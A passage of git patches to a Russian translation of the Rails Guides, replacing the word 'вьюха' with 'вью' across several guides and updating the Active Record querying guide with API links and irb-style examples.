@@ TIP: Для содержимого, общего для всех страниц <%= render partial: "customer", object: @new_customer %> ``` -В партиале `customer` переменная `customer` будет указывать на `@new_customer` из родительской вьюхи. +В партиале `customer` переменная `customer` будет указывать на `@new_customer` из родительской вью. Если есть экземпляр модели для рендеринга в партиале, можно использовать сокращенный синтаксис: @@ -1191,7 +1191,7 @@ TIP: Для содержимого, общего для всех страниц <%= render @customer %> ``` -Предположим, что переменная экземпляра `@customer` содержит экземпляр модели `Customer`. Эта переменная будет использовать `_customer.html.erb` для рендеринга модели и передаст локальную переменную `customer` в партиал, на который будет ссылаться на переменная экземпляра `@customer` в родительской вьюхе. +Предположим, что переменная экземпляра `@customer` содержит экземпляр модели `Customer`. Эта переменная будет использовать `_customer.html.erb` для рендеринга модели и передаст локальную переменную `customer` в партиал, на который будет ссылаться на переменная экземпляра `@customer` в родительской вью. #### Рендеринг коллекций @@ -1268,7 +1268,7 @@ Rails определяет имя партиала, изучая имя моде В этом случае, партиал имеет доступ к локальной переменной `title` со значением "Products Page". -TIP: Rails также создает переменную счетчика, доступную в партиале, вызываемом коллекцией, названную именем заголовка партиала с добавленным `_counter`. Например, при рендеринге коллекции `@products` партиал `_product.html.erb` может получить доступ к переменной `product_counter`, которая индексирует количество раз, сколько оно было отрендерено во внешнюю вьюху. Отметьте, что это также применимо, когда имя партиала было изменено с помощью опции `as:`. Например, переменная счетчика для вышеуказанного кода будет `item_counter`. +TIP: Rails также создает переменную счетчика, доступную в партиале, вызываемом коллекцией, названную именем заголовка партиала с добавленным `_counter`. Например, при рендеринге коллекции `@products` партиал `_product.html.erb` может получить доступ к переменной `product_counter`, которая индексирует количество раз, сколько оно было отрендерено во внешнюю вью. Отметьте, что это также применимо, когда имя партиала было изменено с помощью опции `as:`. Например, переменная счетчика для вышеуказанного кода будет `item_counter`. Также можно определить второй партиал, который будет отрендерен между экземплярами главного партиала, используя опцию `:spacer_template`: @@ -1329,6 +1329,6 @@ Rails отрендерит партиал `_product_ruler` (без переда <%= render template: "layouts/application" %> ``` -Вот и все. Вьюхи News будут использовать новый макет, прячущий верхнее меню и добавляющий новое правое меню в "content" div. +Вот и все. Вью News будут использовать новый макет, прячущий верхнее меню и добавляющий новое правое меню в "content" div. Существует несколько способов получения похожих результатов с различными подшаблонными схемами, используя эту технику. Отметьте, что нет ограничений на уровень вложенности. Можно использовать метод `ActionView::render` через `render template: 'layouts/news'`, чтобы создать новый макет на основе макета News. Если есть уверенность, что не понадобятся подшаблоны для макета `News`, можно заменить строку `content_for?(:news_content) ? yield(:news_content) : yield` простым `yield`. diff --git a/source/menu.md b/source/menu.md index c6d61641..afb0552a 100644 --- a/source/menu.md +++ b/source/menu.md @@ -12,7 +12,7 @@ * [Интерфейс запросов Active Record](/active-record-query-interface) * [Основы Active Model](/active-model-basics) -* **Вьюхи** +* **Вью** * [Обзор Action View](/action-view-overview) * [Макеты и рендеринг в Rails](/layouts-and-rendering-in-rails) diff --git a/source/routing.md b/source/routing.md index 85a46523..f3f61be1 100644 --- a/source/routing.md +++ b/source/routing.md @@ -14,7 +14,7 @@ Цель роутера Rails ------------------ -Роутер Rails распознает URL и направляет его в экшн контроллера или в приложение Rack. Он также может генерировать пути и URL, избегая необходимость жестко прописывать строки в ваших вьюхах. +Роутер Rails распознает URL и направляет его в экшн контроллера или в приложение Rack. Он также может генерировать пути и URL, избегая необходимость жестко прописывать строки в ваших вью. ### Соединение URL с кодом @@ -48,13 +48,13 @@ get '/patients/:id', to: 'patients#show', as: 'patient' @patient = Patient.find(params[:id]) ``` -и такой в соответствующей вьюхе: +и такой в соответствующей вью: ```erb <%= link_to 'Patient Record', patient_path(@patient) %> ``` -тогда роутер сгенерирует путь `/patients/17`. Это увеличит устойчивость вашей вьюхи и упростит код для понимания. Отметьте, что id не нужно указывать в маршрутном хелпере. +тогда роутер сгенерирует путь `/patients/17`. Это увеличит устойчивость вашей вью и упростит код для понимания. Отметьте, что id не нужно указывать в маршрутном хелпере. ### Настройка маршрутизатора Rails @@ -637,7 +637,7 @@ get 'exit', to: 'sessions#destroy', as: :logout get ':username', to: 'users#show', as: :user ``` -Что определит метод `user_path`, который будет доступен в контроллерах, хелперах и вьюхах, и будет вести на маршрут, такой как `/bob`. В экшне `show` из `UsersController`, `params[:username]` будет содержать имя пользователя. Измените `:username` в определении маршрута, если не хотите, чтобы имя параметра было `:username`. +Что определит метод `user_path`, который будет доступен в контроллерах, хелперах и вью, и будет вести на маршрут, такой как `/bob`. В экшне `show` из `UsersController`, `params[:username]` будет содержать имя пользователя. Измените `:username` в определении маршрута, если не хотите, чтобы имя параметра было `:username`. ### Ограничения метода HTTP @@ -1048,7 +1048,7 @@ scope ':username' do end ``` -Это предоставит URL, такие как `/bob/articles/1` и позволит обратиться к части пути `username` в контроллерах, хелперах и вьюхах как `params[:username]`. +Это предоставит URL, такие как `/bob/articles/1` и позволит обратиться к части пути `username` в контроллерах, хелперах и вью как `params[:username]`. ### (restricting-the-routes-created) Ограничение создаваемых маршрутов diff --git a/source/security.md b/source/security.md index 2fabcd77..8380e1b3 100644 --- a/source/security.md +++ b/source/security.md @@ -260,7 +260,7 @@ protect_from_forgery with: :exception Это автоматически включает токен безопасности во все формы и запросы Ajax, генерируемые Rails. Если токен безопасности не будет соответствовать ожидаемому, будет вызвано исключение. -NOTE: По умолчанию, Rails включает [ненавязчивый скриптовый адаптер](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts), который добавляет заголовок, называемый `X-CSRF-Token` с токеном безопасности, в каждый не-GET Ajax-запрос. Без этого заголовка не-GET Ajax-запросы не будут приняты Rails. При использовании другой библиотеки для Ajax-запросов, необходимо добавить токен безопасности как заголовок по умолчанию в Ajax-запросах в вашей библиотеке. Для получения токена, посмотрите на тег ``, получаемый с помощью `<%= csrf_meta_tags %>` во вьюхах вашего приложения. +NOTE: По умолчанию, Rails включает [ненавязчивый скриптовый адаптер](https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts), который добавляет заголовок, называемый `X-CSRF-Token` с токеном безопасности, в каждый не-GET Ajax-запрос. Без этого заголовка не-GET Ajax-запросы не будут приняты Rails. При использовании другой библиотеки для Ajax-запросов, необходимо добавить токен безопасности как заголовок по умолчанию в Ajax-запросах в вашей библиотеке. Для получения токена, посмотрите на тег ``, получаемый с помощью `<%= csrf_meta_tags %>` во вью вашего приложения. Является обычной практикой использование персистентных куки для хранения пользовательской информации, к примеру с помощью `cookies.permanent`. В этом случае куки не будут очищены и встроенная защита от CSRF не будет эффективна. Если для этой информации вы используете хранилище куки иное, чем сессия, то должны указать, что делать, самостоятельно: @@ -457,7 +457,7 @@ INFO: _CAPTCHA - это тест вызова-отклика для опреде Популярной CAPTCHA API является [reCAPTCHA](https://developers.google.com/recaptcha/), которая отображает два искаженных изображения слов из старых книг. Она также добавляет линию под углом, а не искаженный фон или высокий уровень деформации текста, как делали раньше CAPTCHA, так как они были сломаны. Дополнительно, использование reCAPTCHA помогает оцифровать старые книги. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) это также плагин Rails с тем же именем, как и API. -Вы получаете два ключа из API, открытый и секретный ключ, которые помещаете в свою среду Rails. После этого можете использовать метод `recaptcha_tags` во вьюхе и метод `verify_recaptcha` в контроллере. `verify_recaptcha` возвратит false, если валидация провалится. +Вы получаете два ключа из API, открытый и секретный ключ, которые помещаете в свою среду Rails. После этого можете использовать метод `recaptcha_tags` во вью и метод `verify_recaptcha` в контроллере. `verify_recaptcha` возвратит false, если валидация провалится. Есть проблема с CAPTCHA, они оказывают негативное влияние на пользователя. Кроме того, некоторые слабовидящие пользователи найдут искаженные CAPTCHA неудобочитаемыми. Но все-таки, положительные CAPTCHA являются одним из лучших методов предотвращения отправки форм различными ботами. Большинство ботов реально тупые. Они ползают по вебу и кладут свой спам в каждое поле формы, какое только находят. Отрицательная CAPTCHA берет преимущество в этом и включает поле "соблазна" в форму, которое скрыто от человека с помощью CSS или JavaScript. @@ -510,7 +510,7 @@ http://hi.com */ ``` -Этот URL пройдет фильтр, поскольку он соответствует регулярному выражению – вторая строчка, остальное не имеет значения. Теперь представим, что у нас во вьюхе этот URL выводится следующим образом: +Этот URL пройдет фильтр, поскольку он соответствует регулярному выражению – вторая строчка, остальное не имеет значения. Теперь представим, что у нас во вью этот URL выводится следующим образом: ```ruby link_to "Homepage", @user.homepage @@ -848,9 +848,9 @@ RedCloth.new("
    hello", [:filter_html]).to_html ### Ajax-инъекции -NOTE: _Те же меры безопасности должны быть приняты для экшнов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшн не рендерит вьюху._ +NOTE: _Те же меры безопасности должны быть приняты для экшнов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшн не рендерит вью._ -Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшны, возвращающие строку, а не рендерите вьюху, _нужно экранировать возвращаемое значение в экшне_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. +Если используете [плагин in_place_editor](https://rubygems.org/gems/in_place_editing) или экшны, возвращающие строку, а не рендерите вью, _нужно экранировать возвращаемое значение в экшне_. В ином случае, если возвращаемое значение содержит строку с XSS, злонамеренный код выполнится по возвращению в браузер. Экранируйте каждое введенное значение с помощью метода `h()`. ### Инъекции командной строки diff --git a/source/testing.md b/source/testing.md index 988fc5af..806e447b 100644 --- a/source/testing.md +++ b/source/testing.md @@ -34,7 +34,7 @@ application_system_test_case.rb controllers/ helpers/ channels/ fixtures/ integration/ models/ test_helper.rb ``` -Директории `helpers`, `mailers` и `models` предназначены содержать тесты для хелперов вьюх, рассыльщиков и моделей соответственно. Директория `channels` предназначена содержать тесты для соединений и каналов Action Cable. Директория `controllers` предназначена содержать тесты для ваших контроллеров, маршрутов и вьюх. Директория `integration` предназначена содержать тесты для взаимодействия между контроллерами. +Директории `helpers`, `mailers` и `models` предназначены содержать тесты для хелперов вью, рассыльщиков и моделей соответственно. Директория `channels` предназначена содержать тесты для соединений и каналов Action Cable. Директория `controllers` предназначена содержать тесты для ваших контроллеров, маршрутов и вью. Директория `integration` предназначена содержать тесты для взаимодействия между контроллерами. Директория `system` содержит системные тесты, используемые для полного браузерного тестирования вашего приложения. Системные тесты позволяют тестировать приложение так, как ваши пользователи взаимодействуют с ним, а также тестировать ваш JavaScript. Системные тесты наследуются от Capybara и выполняются в браузере. @@ -861,7 +861,7 @@ end #### Что дальше? -Красота системного тестирования в том, что оно похоже на интеграционное тестирование в том, что оно тестирует взаимодействие пользователя с вашими контроллерами, моделями и вьюхами, но системное тестирование более адекватное и фактически тестирует ваше приложение так, как его будет использовать реальный пользователь. Двигаясь дальше, можно протестировать все, что пользователь сможет делать в вашем приложении - комментирование, удаление статей, публикацию черновиков и так далее. +Красота системного тестирования в том, что оно похоже на интеграционное тестирование в том, что оно тестирует взаимодействие пользователя с вашими контроллерами, моделями и вью, но системное тестирование более адекватное и фактически тестирует ваше приложение так, как его будет использовать реальный пользователь. Двигаясь дальше, можно протестировать все, что пользователь сможет делать в вашем приложении - комментирование, удаление статей, публикацию черновиков и так далее. Интеграционное тестирование --------------------------- @@ -930,7 +930,7 @@ class BlogFlowTest < ActionDispatch::IntegrationTest end ``` -Мы рассмотрим `assert_select` для запрашивания результирующего HTML запроса в разделе "Тестирование вьюх" ниже. Он используется для тестирования отклика на наш запрос, убеждаясь в наличии ключевых элементов HTML и их содержимого. +Мы рассмотрим `assert_select` для запрашивания результирующего HTML запроса в разделе "Тестирование вью" ниже. Он используется для тестирования отклика на наш запрос, убеждаясь в наличии ключевых элементов HTML и их содержимого. При посещении корневого пути мы должны увидеть `welcome/index.html.erb`, отрендеренную для представления. Таким образом, это утверждение должно пройти. @@ -978,7 +978,7 @@ NOTE: Не забывайте вызвать `follow_redirect!` Если пла Функциональные тесты для ваших контроллеров ------------------------------------------- -В Rails тестирование различных экшнов контроллера — это форма написания функциональных тестов. Помните, что контроллеры обрабатывают входящие веб-запросы к вашему приложению и в конечном итоге откликаются отрендеренной вьюхой. При написании функциональных тестов, вы тестируете, как ваши экшны обрабатывают запросы, ожидаемый результат или, в некоторых случаях, отклики вьюх HTML. +В Rails тестирование различных экшнов контроллера — это форма написания функциональных тестов. Помните, что контроллеры обрабатывают входящие веб-запросы к вашему приложению и в конечном итоге откликаются отрендеренной вью. При написании функциональных тестов, вы тестируете, как ваши экшны обрабатывают запросы, ожидаемый результат или, в некоторых случаях, отклики вью HTML. ### Что включать в функциональные тесты @@ -987,7 +987,7 @@ NOTE: Не забывайте вызвать `follow_redirect!` Если пла * был ли веб-запрос успешным? * был ли пользователь перенаправлен на правильную страницу? * был ли пользователь успешно аутентифицирован? -* было ли подходящее сообщение отражено для пользователя во вьюхе +* было ли подходящее сообщение отражено для пользователя во вью * была ли правильная информация отображена в отклике? Самым простым способом увидеть функциональные тесты в действии является генерация контроллера с помощью генератора скаффолда: @@ -1410,10 +1410,10 @@ NOTE: Если в вашем приложении сложные маршрут Подробности о тестировании маршрутов доступны в Rails, обратитесь к документации API для [`ActionDispatch::Assertions::RoutingAssertions`](https://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). -Тестирование вьюх +Тестирование вью ----------------- -Тестирование отклика на ваш запрос с помощью подтверждения наличия ключевых элементов HTML и их содержимого, это хороший способ протестировать вьюхи вашего приложения. Как и тесты маршрутов, тесты вьюх находятся в `test/controllers/` или являются частью тестов контроллера. Метод `assert_select` позволяет осуществить выборку элементов HTML отклика с помощью простого, но мощного синтаксиса. +Тестирование отклика на ваш запрос с помощью подтверждения наличия ключевых элементов HTML и их содержимого, это хороший способ протестировать вью вашего приложения. Как и тесты маршрутов, тесты вью находятся в `test/controllers/` или являются частью тестов контроллера. Метод `assert_select` позволяет осуществить выборку элементов HTML отклика с помощью простого, но мощного синтаксиса. Имеется две формы `assert_select`: @@ -1455,9 +1455,9 @@ end Это утверждение достаточно мощное. Для более продвинутого использования обратитесь к его [документации](https://github.com/rails/rails-dom-testing/blob/master/lib/rails/dom/testing/assertions/selector_assertions.rb). -#### Дополнительные утверждения, основанные на вьюхе +#### Дополнительные утверждения, основанные на вью -В тестировании вьюх в основном используется такие утверждения: +В тестировании вью в основном используется такие утверждения: | Утверждение | Назначение | | ---------------------------------------------------------- | ------------------------------------------------------- | @@ -1476,7 +1476,7 @@ end Тестирование хелперов --------------------- -Хелпер — это всего лишь простой модуль, в котором можно определять методы, которые будут доступны во вьюхах. +Хелпер — это всего лишь простой модуль, в котором можно определять методы, которые будут доступны во вью. Чтобы протестировать хелперы, нужно проверить, что результат метода хелпера соответствует тому, что вы ожидаете. Тесты, относящиеся к хелперам, расположены в директории `test/helpers`. diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index c4063b91..322ffedd 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -596,7 +596,7 @@ Rails.application.secrets[:smtp_settings][:address] ### Убрана устаревшая поддержка `:text` и `:nothing` в `render` -Если ваши вьюхи используют `render :text`, они перестанут работать. Новый способ рендерить вьюхи с типом MIME `text/plain` — использовать `render :plain`. +Если ваши вью используют `render :text`, они перестанут работать. Новый способ рендерить вью с типом MIME `text/plain` — использовать `render :plain`. Похожим образом, `render :nothing` также убран, и следует использовать метод `head` для отправки откликов, содержащих только заголовки. Например, `head :ok` посылает отклик 200 без тела. @@ -837,9 +837,9 @@ Rails 5 теперь поддерживает токены CSRF для форм config.action_mailer.deliver_later_queue_name = :new_queue_name -#### Поддержка кэширования фрагментов во вьюхах Action Mailer +#### Поддержка кэширования фрагментов во вью Action Mailer -Установите `config.action_mailer.perform_caching` в своих настройках, чтобы определить, должны ли вьюхи Action Mailer поддерживать кэширование. +Установите `config.action_mailer.perform_caching` в своих настройках, чтобы определить, должны ли вью Action Mailer поддерживать кэширование. config.action_mailer.perform_caching = true @@ -870,7 +870,7 @@ Rails 5 теперь поддерживает токены CSRF для форм ### Web Console -Сначала добавьте `gem 'web-console', '~> 2.0'` в группу `:development` своего `Gemfile` и запустите `bundle install` (он не включится при апгрейде Rails). Как только он будет установлен, можно просто оставлять обращение к хелперу консоли (т.е., `<%= console %>`) в любой вьюхе, в которой вы ее хотите включить. Консоль также предоставляется на любой странице ошибок в среде development. +Сначала добавьте `gem 'web-console', '~> 2.0'` в группу `:development` своего `Gemfile` и запустите `bundle install` (он не включится при апгрейде Rails). Как только он будет установлен, можно просто оставлять обращение к хелперу консоли (т.е., `<%= console %>`) в любой вью, в которой вы ее хотите включить. Консоль также предоставляется на любой странице ошибок в среде development. ### Responders @@ -1586,7 +1586,7 @@ Rails 4.0 извлек Active Resource в отдельный гем. Если в * Rails 4.0 изменил клиент memcached по умолчанию с `memcache-client` на `dalli`. Чтобы произвести апгрейд, просто добавьте `gem 'dalli'` в свой `Gemfile`. -* В Rails 4.0 устарели методы `dom_id` и `dom_class` в контроллерах (они нужны только во вьюхах). Вам следует включить модуль `ActionView::RecordIdentifier` в контроллерах, требующих эту особенность. +* В Rails 4.0 устарели методы `dom_id` и `dom_class` в контроллерах (они нужны только во вью). Вам следует включить модуль `ActionView::RecordIdentifier` в контроллерах, требующих эту особенность. * В Rails 4.0 устарела опция `:confirm` для хелпера `link_to`. Вместо нее следует полагаться на атрибут data (т.е. `data: { confirm: 'Are you sure?' }`). Это устаревание также затрагивает хелперы, основанные на этом (такие как `link_to_if` или `link_to_unless`). @@ -1878,6 +1878,6 @@ AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW' $ bin/rake db:sessions:clear ``` -### Убрать опции :cache и :concat в хелперах ассетов во вьюхах +### Убрать опции :cache и :concat в хелперах ассетов во вью -* Вместе с файлопроводом опции :cache и :concat больше не используются, удалите эти опции из вьюх. +* Вместе с файлопроводом опции :cache и :concat больше не используются, удалите эти опции из вью. diff --git a/source/working_with_javascript_in_rails.md b/source/working_with_javascript_in_rails.md index ada01e1b..c02c8c1b 100644 --- a/source/working_with_javascript_in_rails.md +++ b/source/working_with_javascript_in_rails.md @@ -117,11 +117,11 @@ window.addEventListener("load", () => { ### (remote-elements) Remote элементы -Rails предоставляет ряд вспомогательных методов для вьюх, написанных на Ruby, помогающих вам генерировать HTML. Иногда хочется добавить немного Ajax к этим элементам, и Rails подсобит в таких случаях. +Rails предоставляет ряд вспомогательных методов для вью, написанных на Ruby, помогающих вам генерировать HTML. Иногда хочется добавить немного Ajax к этим элементам, и Rails подсобит в таких случаях. Так как JavaScript ненавязчив, "Ajax-хелперы" Rails фактически состоят из двух частей: часть JavaScript и часть Ruby. -Если не отключить Asset Pipeline, [rails-ujs](https://github.com/rails/rails/tree/master/actionview/app/assets/javascripts) предоставляет часть для JavaScript, а хелперы вьюх на обычном Ruby добавляют подходящие теги в DOM. +Если не отключить Asset Pipeline, [rails-ujs](https://github.com/rails/rails/tree/master/actionview/app/assets/javascripts) предоставляет часть для JavaScript, а хелперы вью на обычном Ruby добавляют подходящие теги в DOM. Ниже вы можете прочитать о различных событиях, которые вызываются при работе с remote элементами внутри вашего приложения. @@ -331,7 +331,7 @@ class UsersController < ApplicationController # ... ``` -Вьюха для index (`app/views/users/index.html.erb`) содержит: +Вью для index (`app/views/users/index.html.erb`) содержит: ```erb Users @@ -378,14 +378,14 @@ class UsersController < ApplicationController end ``` -Обратите внимание на `format.js` в блоке `respond_to`, который позволяет контроллеру откликаться на ваши запросы Ajax. Далее необходим соответствующий файл вьюхи `app/views/users/create.js.erb`, генерирующий фактический код JavaScript, который будет отослан и выполнен на стороне клиента. +Обратите внимание на `format.js` в блоке `respond_to`, который позволяет контроллеру откликаться на ваши запросы Ajax. Далее необходим соответствующий файл вью `app/views/users/create.js.erb`, генерирующий фактический код JavaScript, который будет отослан и выполнен на стороне клиента. ```js var users = document.querySelector("#users"); users.insertAdjacentHTML("beforeend", "<%= j render(@user) %>"); ``` -NOTE: Рендеринг вьюх JavaScript не выполняет какого-либо препроцессинга, поэтому тут не следует использовать синтаксис ES6. +NOTE: Рендеринг вью JavaScript не выполняет какого-либо препроцессинга, поэтому тут не следует использовать синтаксис ES6. Turbolinks ---------- From 0f7353f0c2a45c9229ad0e639f857d205b82ef83 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Sat, 20 Feb 2021 10:41:15 +0300 Subject: [PATCH 552/932] Update querying guide --- source/active_record_querying.md | 754 +++++++++++++++++++------------ source/index.yml | 4 +- 2 files changed, 460 insertions(+), 298 deletions(-) diff --git a/source/active_record_querying.md b/source/active_record_querying.md index 738df055..1a8fd43d 100644 --- a/source/active_record_querying.md +++ b/source/active_record_querying.md @@ -89,35 +89,35 @@ end Методы следующие: -* `annotate` -* `find` -* `create_with` -* `distinct` -* `eager_load` -* `extending` -* `extract_associated` -* `from` -* `group` -* `having` -* `includes` -* `joins` -* `left_outer_joins` -* `limit` -* `lock` -* `none` -* `offset` -* `optimizer_hints` -* `order` -* `preload` -* `readonly` -* `references` -* `reorder` -* `reselect` -* `reverse_order` -* `select` -* `where` - -Методы поиска, возвращающие коллекцию, такие как `where` и `group`, возвращают экземпляр `ActiveRecord::Relation`. Методы, ищущие отдельную сущность, такие как `find` и `first`, возвращают отдельный экземпляр модели. +* [`annotate`][] +* [`find`][] +* [`create_with`][] +* [`distinct`][] +* [`eager_load`][] +* [`extending`][] +* [`extract_associated`][] +* [`from`][] +* [`group`][] +* [`having`][] +* [`includes`][] +* [`joins`][] +* [`left_outer_joins`][] +* [`limit`][] +* [`lock`][] +* [`none`][] +* [`offset`][] +* [`optimizer_hints`][] +* [`order`][] +* [`preload`][] +* [`readonly`][] +* [`references`][] +* [`reorder`][] +* [`reselect`][] +* [`reverse_order`][] +* [`select`][] +* [`where`][] + +Методы поиска, возвращающие коллекцию, такие как `where` и `group`, возвращают экземпляр [`ActiveRecord::Relation`][]. Методы, ищущие отдельную сущность, такие как `find` и `first`, возвращают отдельный экземпляр модели. Вкратце основные операции `Model.find(options)` таковы: @@ -126,18 +126,47 @@ end * Создать экземпляр эквивалентного объекта Ruby подходящей модели для каждой строки результата запроса. * Запустить колбэки `after_find` и далее `after_initialize`, если таковые имеются. +[`ActiveRecord::Relation`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html +[`annotate`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-annotate +[`create_with`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-create_with +[`distinct`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-distinct +[`eager_load`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-eager_load +[`extending`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-extending +[`extract_associated`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-extract_associated +[`find`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find +[`from`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-from +[`group`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-group +[`having`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-having +[`includes`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-includes +[`joins`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-joins +[`left_outer_joins`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-left_outer_joins +[`limit`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-limit +[`lock`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-lock +[`none`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-none +[`offset`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-offset +[`optimizer_hints`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-optimizer_hints +[`order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-order +[`preload`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-preload +[`readonly`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-readonly +[`references`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-references +[`reorder`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reorder +[`reselect`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reselect +[`reverse_order`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-reverse_order +[`select`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-select +[`where`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-where + ### Получение одиночного объекта Active Record предоставляет несколько различных способов получения одиночного объекта. #### `find` -Используя метод `find`, можно получить объект, соответствующий определенному первичному ключу (_primary key_) и предоставленным опциям. Например: +Используя метод [`find`][], можно получить объект, соответствующий определенному первичному ключу (_primary key_) и предоставленным опциям. Например: -```ruby -# Ищет покупателя с первичным ключом (id) 10. -customer = Customer.find(10) -# => # +```irb +# Найдем покупателя с первичным ключом (id) 10. +irb> customer = Customer.find(10) +=> # ``` SQL эквивалент этого такой: @@ -150,10 +179,10 @@ SELECT * FROM customers WHERE (customers.id = 10) LIMIT 1 Этот метод также можно использовать для получения нескольких объектов. Вызовите метод `find` и передайте в него массив первичных ключей. Возвращенным результатом будет массив, содержащий все записи, соответствующие представленным _первичным ключам_. Например: -```ruby +```irb # Найдем покупателей с первичными ключами 1 и 10. -customers = Customer.find([1, 10]) # Or even Customer.find(1, 10) -# => [#, #] +irb> customers = Customer.find([1, 10]) # OR Customer.find(1, 10) +=> [#, #] ``` SQL эквивалент этого такой: @@ -164,11 +193,11 @@ SELECT * FROM customers WHERE (customers.id IN (1,10)) #### `take` -Метод `take` получает запись без какого-либо явного упорядочивания. Например: +Метод [`take`][] извлекает запись без какого-либо явного упорядочивания. Например: -```ruby -customer = Customer.take -# => # +```irb +irb> customer = Customer.take +=> # ``` SQL эквивалент этого такой: @@ -181,12 +210,9 @@ SELECT * FROM customers LIMIT 1 В метод `take` можно передать числовой аргумент, чтобы вернуть это количество результатов. Например -```ruby -customers = Customer.take(2) -# => [ -# #, -# # -# ] +```irb +irb> customers = Customer.take(2) +=> [#, #] ``` SQL эквивалент этого такой: @@ -195,17 +221,20 @@ SQL эквивалент этого такой: SELECT * FROM customers LIMIT 2 ``` -Метод `take!` ведет себя подобно `take`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. +Метод [`take!`][] ведет себя подобно `take`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. TIP: Получаемая запись может отличаться в зависимости от подсистемы хранения СУБД. +[`take`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take +[`take!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-take-21 + #### `first` -Метод `first` находит первую запись, упорядоченную по первичному ключу (по умолчанию). Например: +Метод [`first`][] находит первую запись, упорядоченную по первичному ключу (по умолчанию). Например: -```ruby -customer = Customer.first -# => # +```irb +irb> customer = Customer.first +=> # ``` SQL эквивалент этого такой: @@ -220,13 +249,9 @@ SELECT * FROM customers ORDER BY customers.id ASC LIMIT 1 В метод `first` можно передать числовой аргумент, чтобы вернуть это количество результатов. Например -```ruby -customers = Customer.first(3) -# => [ -# #, -# #, -# # -# ] +```irb +irb> customers = Customer.first(3) +=> [#, #, #] ``` SQL эквивалент этого такой: @@ -237,9 +262,9 @@ SELECT * FROM customers ORDER BY customers.id ASC LIMIT 3 На коллекции, упорядоченной с помощью `order`, `first` вернет первую запись, упорядоченную по указанному в `order` атрибуту. -```ruby -customer = Customer.order(:first_name).first -# => # +```irb +irb> customer = Customer.order(:first_name).first +=> # ``` SQL эквивалент этого такой: @@ -248,15 +273,18 @@ SQL эквивалент этого такой: SELECT * FROM customers ORDER BY customers.first_name ASC LIMIT 1 ``` -Метод `first!` ведет себя подобно `first`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. +Метод [`first!`][] ведет себя подобно `first`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. + +[`first`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first +[`first!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-first-21 #### `last` -Метод `last` находит последнюю запись, упорядоченную по первичному ключу (по умолчанию). Например: +Метод [`last`][] находит последнюю запись, упорядоченную по первичному ключу (по умолчанию). Например: -```ruby -customer = Customer.last -# => # +```irb +irb> customer = Customer.last +=> # ``` SQL эквивалент этого такой: @@ -271,13 +299,9 @@ SELECT * FROM customers ORDER BY customers.id DESC LIMIT 1 В метод `last` можно передать числовой аргумент, чтобы вернуть это количество результатов. Например -```ruby -customers = Customer.last(3) -# => [ -# #, -# #, -# # -# ] +```irb +irb> customers = Customer.last(3) +=> [#, #, #] ``` SQL эквивалент этого такой: @@ -288,9 +312,9 @@ SELECT * FROM customers ORDER BY customers.id DESC LIMIT 3 На коллекции, упорядоченной с помощью `order`, `last` вернет последнюю запись, упорядоченную по указанному в `order` атрибуту. -```ruby -customer = Customer.order(:first_name).last -# => # +```irb +irb> customer = Customer.order(:first_name).last +=> # ``` SQL эквивалент этого такой: @@ -299,18 +323,21 @@ SQL эквивалент этого такой: SELECT * FROM customers 